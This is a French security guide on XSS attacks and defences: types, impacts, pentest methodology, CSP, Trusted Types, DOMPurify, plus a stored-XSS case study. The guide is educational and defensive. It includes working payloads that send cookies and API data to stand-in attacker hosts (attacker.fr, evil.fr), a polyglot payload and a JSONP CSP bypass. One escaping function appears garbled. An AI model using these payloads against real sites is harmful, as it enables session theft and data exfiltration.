Attaques XSS 2026 : Types, Exploitation et Défense [Guide]

Les attaques XSS célèbrent en 2026 leur trentième anniversaire, mais restent paradoxalement l'une des vulnérabilités web les plus répandues dans les applications modernes. Le rapport HackerOne 2025 plaçait le XSS en deuxième position des vulnérabilités les plus signalées sur la plateforme de bug bounty, juste après les contrôles d'accès défaillants. La généralisation des applications JavaScript côté client (React, Vue, Angular, Svelte) a profondément modifié la nature des attaques : les XSS réfléchis classiques cèdent la place aux DOM XSS et aux prototype pollution, tandis que les contournements de filtres exploitent désormais les particularités du parser HTML5, les data: URIs et les Web Workers. Ce guide expert décortique les six grandes familles de XSS observées en 2026, présente les techniques offensives modernes (mXSS, Universal XSS, Service Worker hijacking), détaille les défenses (CSP nonce, Trusted Types, frameworks sécurisés) et propose une méthodologie de test exhaustive pour les pentesteurs et équipes AppSec.

1. Comprendre les XSS : taxonomie et impact réel

Une attaque XSS consiste à injecter du code JavaScript exécuté par le navigateur de la victime dans le contexte de l'application cible. Cette définition simple masque une diversité considérable de scénarios. La taxonomie moderne distingue six familles d'XSS, à connaître pour structurer ses défenses.

1.1 XSS réfléchi (Reflected XSS)

Le code malveillant est inclus dans une requête (URL, formulaire) et renvoyé immédiatement par le serveur dans la réponse. Exemple classique :

<!-- Code vulnérable côté serveur (PHP) -->
<p>Bienvenue <?= $_GET['name'] ?></p>

<!-- Exploitation -->
https://app.example.com/welcome.php?name=<script>document.location='https://attacker.fr/'+document.cookie</script>

L'attaque nécessite que la victime clique sur le lien malveillant (phishing, post forum, etc.). Impact : vol de session, redirection, defacement.

1.2 XSS stocké (Stored / Persistent XSS)

Le code malveillant est sauvegardé côté serveur (base de données, fichier) et exécuté chaque fois qu'un utilisateur consulte la page. C'est le plus dangereux car il ne nécessite pas d'interaction et peut viser plusieurs victimes simultanément.

<!-- Exemple : commentaire sur un blog -->
<div class="comment">
  <?= $row['comment'] ?>
</div>

<!-- Payload soumis via le formulaire de commentaire -->
Super article ! <img src=x onerror=fetch('//evil.fr/?c='+btoa(document.cookie))>

1.3 DOM XSS

Le DOM XSS est la variante la plus subtile : l'injection n'a jamais lieu côté serveur, tout se passe dans le navigateur via JavaScript manipulant le DOM. Le serveur ne voit jamais le payload qui transite via le fragment d'URL (#) ou les données localStorage.

// Code vulnérable côté client
const search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = 'Vous avez cherché: ' + decodeURIComponent(search);

// Exploitation
https://app.example.com/search#<img src=x onerror=alert(1)>

Le DOM XSS représente désormais plus de 60% des XSS découverts en bug bounty (rapport HackerOne 2025) car les SPA modernes accumulent ce type de sinks. Les outils statiques traditionnels (SAST côté serveur) ne les détectent pas.

1.4 Mutation XSS (mXSS)

Le mXSS exploite les différences entre la sérialisation et la désérialisation du HTML par le navigateur. Une chaîne HTML qui semble inoffensive après nettoyage peut redevenir dangereuse une fois insérée dans le DOM via innerHTML. Découverte par Mario Heiderich, cette classe d'attaques contourne de nombreux sanitizers (y compris DOMPurify dans certaines versions).

// Payload mXSS classique (contournement)
const input = '<svg><style><img src=x onerror=alert(1)></style></svg>';
const sanitized = sanitizer.clean(input);  // semble propre
container.innerHTML = sanitized;            // mais re-parsé activement

1.5 Universal XSS (UXSS)

Le UXSS exploite une faille du navigateur lui-même, permettant d'exécuter du code dans l'origine de n'importe quel site visité. C'est un graal pour les attaquants (CVE Chrome, Firefox, Safari) car la défense applicative est inopérante.

1.6 Self-XSS

Le Self-XSS est exécuté par la victime elle-même, généralement par ingénierie sociale (« copiez ce code dans la console développeur pour gagner un cadeau »). Souvent considéré comme hors-périmètre par les programmes bug bounty.

2. Impact des XSS modernes

L'impact d'une XSS dépend du contexte applicatif et des défenses du navigateur. En 2026, les conséquences vont bien au-delà du défacement.

2.1 Vol de session et de tokens

L'objectif historique reste le vol de cookies de session. Les défenses HttpOnly, Secure et SameSite limitent l'exfiltration via JavaScript, mais une XSS permet toujours d'effectuer des requêtes authentifiées au nom de la victime via fetch() avec credentials: 'include'.

// Exfiltration de profil utilisateur via XSS
fetch('/api/profile', { credentials: 'include' })
  .then(r => r.json())
  .then(data => navigator.sendBeacon('//evil.fr/leak', JSON.stringify(data)));

2.2 Account takeover via OAuth

Les flows OAuth modernes utilisent les fragments et postMessage. Une XSS sur la page de callback permet de capturer l'authorization code, débouchant sur une prise de contrôle complète du compte.

2.3 Cryptomining et BeEF

Le framework BeEF (Browser Exploitation Framework) transforme un XSS en C2 complet pour piloter le navigateur compromis : keylogger, screenshot, exécution d'exploits navigateur. Le cryptomining sur cible web reste anecdotique mais persiste sur sites à fort trafic.

2.4 Phishing via overlay

Une XSS permet d'afficher une fausse modale de réauthentification ou une demande de mot de passe sur le site légitime. La victime saisit ses credentials qui sont exfiltrés. Cette attaque est particulièrement efficace car la barre d'adresse affiche bien le domaine légitime.

3. Anatomie d'un payload XSS moderne

Les payloads XSS de 2026 ne se limitent plus à <script>alert(1)</script>. La sophistication des filtres et des CSP impose des techniques de contournement avancées.

3.1 Bypass de filtres classiques

3.2 Polyglot payloads

Un payload polyglot est efficace dans plusieurs contextes simultanément (HTML, attribut, JS, URL). Référence : le payload de l'expert Gareth Heyes.

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Ce payload détecte automatiquement le contexte d'injection et adapte sa structure. Très utile en test exploratoire mais peu adapté à une exploitation ciblée.

3.3 Payloads CSP bypass

Lorsqu'une CSP est en place, les payloads classiques échouent. Les techniques de bypass exploitent les endpoints JSONP autorisés, les script-src 'unsafe-eval', ou les nonce mal gérés.

<!-- CSP : script-src 'self' https://www.google.com -->
<!-- Bypass via Google Analytics JSONP -->
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)//"></script>

4. Méthodologie de test XSS pour pentesteurs

Un test XSS méthodique repose sur quatre phases. La rigueur dans l'exécution distingue le test exhaustif du test superficiel.

4.1 Cartographie des entrées

Lister tous les points d'entrée utilisateur : query string, form-data, fragments, cookies, headers (User-Agent, Referer, X-Forwarded-For), localStorage, postMessage, WebSocket. Outils utiles : Burp Suite Pro avec extension XSS Validator, OWASP ZAP, Caido pour le SPA-aware.

4.2 Détection des reflets

Pour chaque entrée, injecter un marqueur unique non malveillant (ex: aaa{{TIMESTAMP}}bbb) et vérifier dans la réponse HTML, dans le DOM rendu, dans le JavaScript exécuté, et dans les requêtes asynchrones suivantes. Cette détection peut être automatisée via kxss, dalfox ou XSStrike.

# Dalfox — scan rapide
dalfox url https://target.com/search?q=test --custom-payload payloads.txt --output result.json

# Avec auth
dalfox url https://target.com/profile -H "Cookie: session=ABC123" -b https://your-blind-xss.com

# Pipeline avec Hakrawler
hakrawler -url https://target.com | dalfox pipe

4.3 Analyse du contexte

Pour chaque reflet identifié, analyser le contexte exact d'injection. Cinq contextes principaux :

• Texte HTML — Échapper < > & suffit normalement, mais attention au contexte sortant.
• Attribut HTML — Échapper aussi les quotes (").
• JavaScript inline — Le plus dangereux : nécessite un encoding spécifique (\xNN ou \uNNNN).
• URL (href, src) — Vérifier protocole (bloquer javascript:, data:).
• CSS inline — Bloquer expression(), url() pointant vers JS.

4.4 Validation et POC

Construire un POC reproductible : URL ou requête HTTP exacte, payload minimal, conditions navigateur (Chrome 130+, Firefox latest, Safari), capture vidéo si DOM XSS dynamique. Pour le bug bounty, fournir l'impact business (vol de session admin, prise de compte, etc.) et la chaîne d'exploitation complète.

5. DOM XSS : la nouvelle frontière

Le DOM XSS mérite une section dédiée car il représente la majorité des XSS modernes et requiert une approche de détection différente.

5.1 Sources et sinks

Un DOM XSS résulte d'un flux non-sécurisé d'une source (entrée non fiable) vers un sink (fonction sensible). Les sources et sinks à connaître :

5.2 Détection automatisée

Plusieurs outils détectent les flux source-sink :

• DOM Invader (Burp Suite Pro) — analyse runtime, suit les flux taintés.
• Snuffleupagus / DOMPurify Auditor — analyse statique JavaScript.
• Semgrep DOM XSS rules — pour CI/CD.
• CodeQL DOM XSS query — analyse approfondie sur grandes bases de code.

5.3 Cas particulier : frameworks SPA

Les frameworks modernes auto-échappent par défaut mais offrent des escape hatches dangereux :

// React — dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// Vue — v-html
<div v-html="userInput"></div>

// Angular — bypassSecurityTrustHtml
this.html = this.sanitizer.bypassSecurityTrustHtml(userInput);

// Svelte — @html
<div>{@html userInput}</div>

Chaque utilisation de ces APIs doit être justifiée et auditée. La règle : jamais de données utilisateur passées directement à ces sinks sans sanitization explicite via DOMPurify ou Sanitizer API.

6. Defense in depth : les quatre piliers

Une défense XSS robuste en 2026 combine quatre piliers complémentaires. Aucun pilier seul n'est suffisant.

6.1 Pilier 1 — Encoding contextuel

L'encoding doit être appliqué au moment de la sortie (output encoding), pas de l'entrée. Cinq contextes nécessitent cinq encodings différents documentés par l'OWASP XSS Prevention Cheat Sheet.

// HTML body context
function escapeHTML(s) {
  return s.replace(/&/g, '&')
          .replace(/</g, '&lt;')
          .replace(/>/g, '&gt;')
          .replace(/"/g, '&quot;')
          .replace(/'/g, '&#x27;');
}

// JS string context (entre quotes)
function escapeJS(s) {
  return s.replace(/[<>'"&\\\n\r]/g, c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0'));
}

// URL context
function escapeURL(s) {
  return encodeURIComponent(s);
}

6.2 Pilier 2 — Content Security Policy (CSP)

Une CSP bien configurée bloque l'exécution des scripts inline et les sources externes non autorisées. La forme moderne recommandée est la CSP nonce-based avec strict-dynamic.

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-{RANDOM_PER_REQUEST}' 'strict-dynamic';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  form-action 'self';
  upgrade-insecure-requests;
  report-uri /csp-report

Chaque script légitime doit inclure l'attribut nonce correspondant. Le strict-dynamic permet aux scripts noncés de charger d'autres scripts dynamiquement sans whitelist d'URL, ce qui simplifie énormément la maintenance.

<!-- HTML généré côté serveur -->
<script nonce="r4nd0m">
  // Script inline autorisé
</script>
<script nonce="r4nd0m" src="/static/app.js"></script>

6.3 Pilier 3 — Trusted Types

L'API Trusted Types (W3C, supportée par Chrome, Edge, et bientôt Firefox/Safari) impose que tout sink HTML accepte uniquement des objets TrustedHTML créés via une politique explicite.

Content-Security-Policy:
  require-trusted-types-for 'script';
  trusted-types app-policy default;

// Définition de la politique
if (window.trustedTypes && trustedTypes.createPolicy) {
  const policy = trustedTypes.createPolicy('app-policy', {
    createHTML: (input) => DOMPurify.sanitize(input),
    createScriptURL: (input) => {
      if (input.startsWith('https://cdn.corp.local/')) return input;
      throw new Error('URL refusée');
    }
  });
  // Utilisation
  element.innerHTML = policy.createHTML(userInput);
}

Avec Trusted Types activé, toute utilisation directe de innerHTML = string lève une exception. Cette mesure élimine pratiquement tous les DOM XSS résiduels.

6.4 Pilier 4 — Frameworks et sanitization

L'utilisation de frameworks modernes avec auto-escape est essentielle. Les templates Jinja2 (Python), Twig (PHP), ERB (Ruby), JSX (React) appliquent l'échappement automatique par défaut. Pour les contenus HTML utilisateur riches (commentaires, articles WYSIWYG), DOMPurify reste le sanitizer de référence.

import DOMPurify from 'dompurify';

const dirty = '<p>Hello</p><script>alert(1)</script>';
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'li', 'code'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false,
  FORBID_TAGS: ['style', 'script'],
  SANITIZE_DOM: true
});
// clean = "<p>Hello</p>"

7. XSS dans les écosystèmes spécifiques

Au-delà des applications web classiques, plusieurs contextes méritent une attention particulière.

7.1 Markdown et WYSIWYG

Les éditeurs Markdown (CommonMark, marked.js) doivent désactiver l'inclusion HTML brute ou la passer dans DOMPurify. De nombreuses fuites se cachent dans les liens [label](javascript:alert(1)) ou les images .

7.2 PDF et SVG

Les fichiers SVG peuvent contenir du JavaScript (<svg onload=...>) et sont souvent acceptés en upload utilisateur. Les servir avec Content-Type: image/svg+xml et un Content-Disposition: attachment empêche l'exécution. Idem pour les PDF avec JavaScript embarqué.

7.3 Mobile WebView

Les applications mobiles utilisant des WebView (Cordova, Capacitor, React Native WebView) sont vulnérables aux XSS qui peuvent appeler des bridges natifs (camera, fichiers, localisation). La défense impose une CSP stricte, le désactivement de setJavaScriptEnabled si possible, et la validation des URLs chargées.

7.4 Email HTML et navigateurs intégrés

Les clients email (Outlook Web, Gmail) ont leur propre sanitizer. Une XSS dans un email peut viser non pas le destinataire mais l'application elle-même via les liens mailto: ou les preview HTML.

8. Étude de cas : compromission par stored XSS

L'incident anonymisé suivant illustre une chaîne d'exploitation XSS complète sur une application SaaS B2B en 2025.

8.1 Contexte

L'application permet aux utilisateurs d'éditer leur profil avec une bio en Markdown. Le rendu HTML est effectué côté serveur par marked.js v4 sans sanitization, puis affiché sur les pages publiques de profil.

8.2 Exploitation

T+00 : Inscription compte attaquant
T+05 : Bio modifiée avec payload Markdown
       <img src="x" onerror="
         fetch('/api/admin/users', {credentials:'include'})
         .then(r=>r.json())
         .then(d=>navigator.sendBeacon('//evil.fr/x',JSON.stringify(d)))
       ">
T+10 : Attaquant signale son profil au support en
       prétextant un problème technique
T+45 : Admin consulte le profil signalé
       → Payload exécuté dans contexte admin
       → API admin appelée, liste utilisateurs exfiltrée
T+60 : Données de 12 000 entreprises clientes leakées

8.3 Remédiation

Quatre actions ont été prises : intégration de DOMPurify côté serveur après le rendu Markdown, déploiement d'une CSP nonce-based, séparation des sessions admin sur un sous-domaine dédié avec cookie isolé, et programme bug bounty pour identifier les autres XSS résiduels. Le coût total de l'incident a été estimé à 1,2 M€ (notification CNIL, perte de clients, audit forensic).

9. CSP et Trusted Types en production : retours d'expérience

Déployer une CSP stricte sur une application existante est un projet à part entière. Voici les leçons apprises de plusieurs déploiements 2024-2025.

9.1 Approche progressive

1. Phase 1 — Report-Only : déployer la CSP en mode Content-Security-Policy-Report-Only pendant 4-6 semaines pour collecter les violations sans bloquer.
2. Phase 2 — Affinage : analyser les rapports, lister les scripts légitimes à noncer, identifier les libs incompatibles.
3. Phase 3 — Migration : refactorer les scripts inline vers des fichiers externes, ajouter les nonces côté template.
4. Phase 4 — Enforcement : passage en mode bloquant avec rollback préparé via feature flag.

9.2 Difficultés fréquentes

• Analytics et tag managers — GTM injecte des scripts inline ; utiliser le mode strict-dynamic ou la version GTM Server-Side.
• Widgets tiers — Chat support, captcha : whitelist domaine, vérifier compatibilité.
• Extensions navigateur — Génèrent des violations false-positive ; filtrer par blocked-uri.
• Style inline — Migrer vers CSS externes ou utiliser style-src 'unsafe-inline' en transition.

9.3 Reporting et monitoring

Configurer un endpoint /csp-report recevant les violations en JSON. Agréger dans le SIEM avec dashboard montrant : volume de violations par directive, hosts d'origine, URI bloquées. Les augmentations brutales peuvent indiquer une tentative d'exploitation XSS active.

10. Tendances 2026 : XSS et IA générative

L'arrivée massive des chatbots, des assistants intégrés et des UIs générées par LLM crée de nouveaux vecteurs XSS spécifiques.

10.1 Prompt injection vers XSS

Les applications LLM rendant directement le markdown généré par l'IA sont vulnérables à des prompt injections conduisant à du XSS. Un utilisateur peut demander à l'IA de générer du HTML malveillant que l'application affichera ensuite à un autre utilisateur (XSS stocké via IA).

10.2 UI génératives et code dynamique

Les outils générant du React/HTML à la volée à partir d'une description en langage naturel (v0, Bolt, Lovable) doivent valider et sandboxer le code généré. Les premières démonstrations de XSS dans ces outils ont été publiées en 2025.

10.3 Évolution des standards

Le W3C travaille sur la Sanitizer API native qui remplacera DOMPurify dans le navigateur. Trusted Types est en cours d'adoption par Firefox et Safari. Une RFC sur les Origin-Bound Sessions vise à rendre certains vols de session impossibles même en cas de XSS.

11. Outils et bibliothèques recommandés en 2026

L'écosystème offensif et défensif autour des XSS est mature. Voici la sélection actualisée à connaître pour les pentesteurs et équipes AppSec.

11.1 Outils offensifs et de découverte

11.2 Bibliothèques défensives

• DOMPurify — Sanitizer JS de référence, maintenu par Cure53, intégrable Node et navigateur.
• HTML Sanitizer API — Standard W3C natif navigateur (Chrome 105+, en cours sur Firefox).
• OWASP Java Encoder — Encoding contextuel côté Java.
• html-escaper / he (Node) — Échappement HTML léger.
• Bleach (Python) — Sanitizer Python pour applications Django/Flask.
• HtmlSanitizer (.NET) — Maintenu par Mike Glaszhoff.

11.3 Analyse statique et CI/CD

Intégrer la détection XSS dans la pipeline CI/CD est essentiel pour bloquer les régressions. Trois approches complémentaires :

# Exemple GitLab CI — scan Semgrep
semgrep_xss:
  image: returntocorp/semgrep
  script:
    - semgrep --config "p/xss" --config "p/owasp-top-ten" --error
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"

# Scan CodeQL
codeql_analysis:
  image: github/codeql-action
  script:
    - codeql database create --language=javascript
    - codeql database analyze --format=sarif-latest --output=results.sarif
    - codeql-extractor github/codeql/javascript/ql/src/Security/CWE-079/Xss.ql

FAQ

Le CSP avec strict-dynamic suffit-il à bloquer toutes les XSS ?

Il bloque la majorité des XSS classiques mais pas tous. Les same-origin script gadgets, certains DOM XSS basés sur des sinks ne dépendant pas de chargement de script, et les contournements via les ressources autorisées (CDN, JSONP endpoints) peuvent encore passer. La combinaison CSP nonce + Trusted Types + frameworks auto-escape + DOMPurify côté input rend l'exploitation extrêmement difficile en pratique.

HttpOnly + SameSite=Strict suffit-il à empêcher le vol de session ?

Non. HttpOnly empêche l'accès au cookie via document.cookie, mais une XSS peut effectuer des requêtes authentifiées via fetch() avec credentials:'include'. Une XSS active peut donc voler des données et effectuer des actions au nom de l'utilisateur, même sans accès direct au cookie. La défense doit empêcher l'exécution de la XSS, pas seulement protéger le cookie.

Les frameworks modernes (React, Vue, Angular) sont-ils immunisés contre XSS ?

Largement protégés en utilisation standard car ils échappent automatiquement les valeurs dans les templates. Cependant, les escape hatches (dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml) et l'utilisation de eval/Function via des libs tierces (templating, dynamic component) restent vulnérables. Toute utilisation de ces APIs doit faire l'objet d'une revue de code obligatoire et d'une sanitization explicite via DOMPurify.

Quelle est la différence entre XSS et CSRF ?

Le XSS injecte du JavaScript dans le contexte du site cible et exécute donc des actions arbitraires avec les permissions de la victime. Le CSRF force le navigateur de la victime à effectuer une requête sur le site cible depuis un autre site (l'attaque exploite la confiance du site dans le navigateur de l'utilisateur authentifié). Les défenses sont différentes : CSP/Trusted Types contre XSS, tokens CSRF + SameSite Cookie contre CSRF. Un XSS rend généralement les protections CSRF inopérantes.

Comment tester efficacement les DOM XSS dans une SPA React ?

Trois approches complémentaires. Statique : grep des sinks dangereux (dangerouslySetInnerHTML, eval, new Function) dans le code source ou les bundles minifiés. Runtime : DOM Invader dans Burp Pro avec le module Source/Sink. Audit JavaScript : utiliser CodeQL ou Semgrep avec rules DOM XSS. Compléter par des tests manuels sur les inputs avec marqueurs uniques, en activant les sourcemaps en environnement de test pour faciliter le debug.

DOMPurify est-il 100% sûr contre le mXSS ?

Les versions récentes (3.0+) de DOMPurify gèrent correctement la plupart des mXSS connus, mais de nouvelles variantes sont régulièrement découvertes (cf. articles de Mario Heiderich, Sonar, JFrog). Recommandations : utiliser DOMPurify dans sa dernière version, activer l'option RETURN_DOM pour éviter une re-sérialisation, configurer une ALLOWED_TAGS la plus restrictive possible, et combiner avec Trusted Types pour une défense en profondeur.

Conclusion & Pour approfondir

Les attaques XSS, malgré leurs trois décennies d'existence, restent omniprésentes dans le paysage des vulnérabilités web modernes. Leur évolution suit celle des applications : du XSS réfléchi classique des années 2000 aux DOM XSS sophistiqués des SPA actuelles, en passant par les mutations XSS et les attaques exploitant la chaîne IA-générative. La défense en 2026 ne se résume plus à un échappement basique : elle exige une approche multicouche combinant encoding contextuel rigoureux, Content Security Policy nonce-based, Trusted Types, frameworks auto-échappant et sanitization robuste via DOMPurify. Pour les équipes AppSec, l'intégration de ces défenses dès la conception et leur validation continue via SAST/DAST et bug bounty constitue le minimum viable. Les programmes les plus matures vont plus loin avec des exercices Red Team réguliers ciblant spécifiquement les XSS, et un effort de formation continue des développeurs sur les pièges des escape hatches dans les frameworks modernes.

• OWASP Top 10 vulnérabilités web 2026 — vue d'ensemble AppSec
• Burp Suite : pentest web avec PortSwigger — outillage offensif
• API security fuzzing avec Burp et Nuclei — tests automatisés
• Polyshell, Magento, WebRTC skimmer et CSP bypass — étude attaque réelle
• Burp Suite vs OWASP ZAP scanner web 2026 — choix d'outils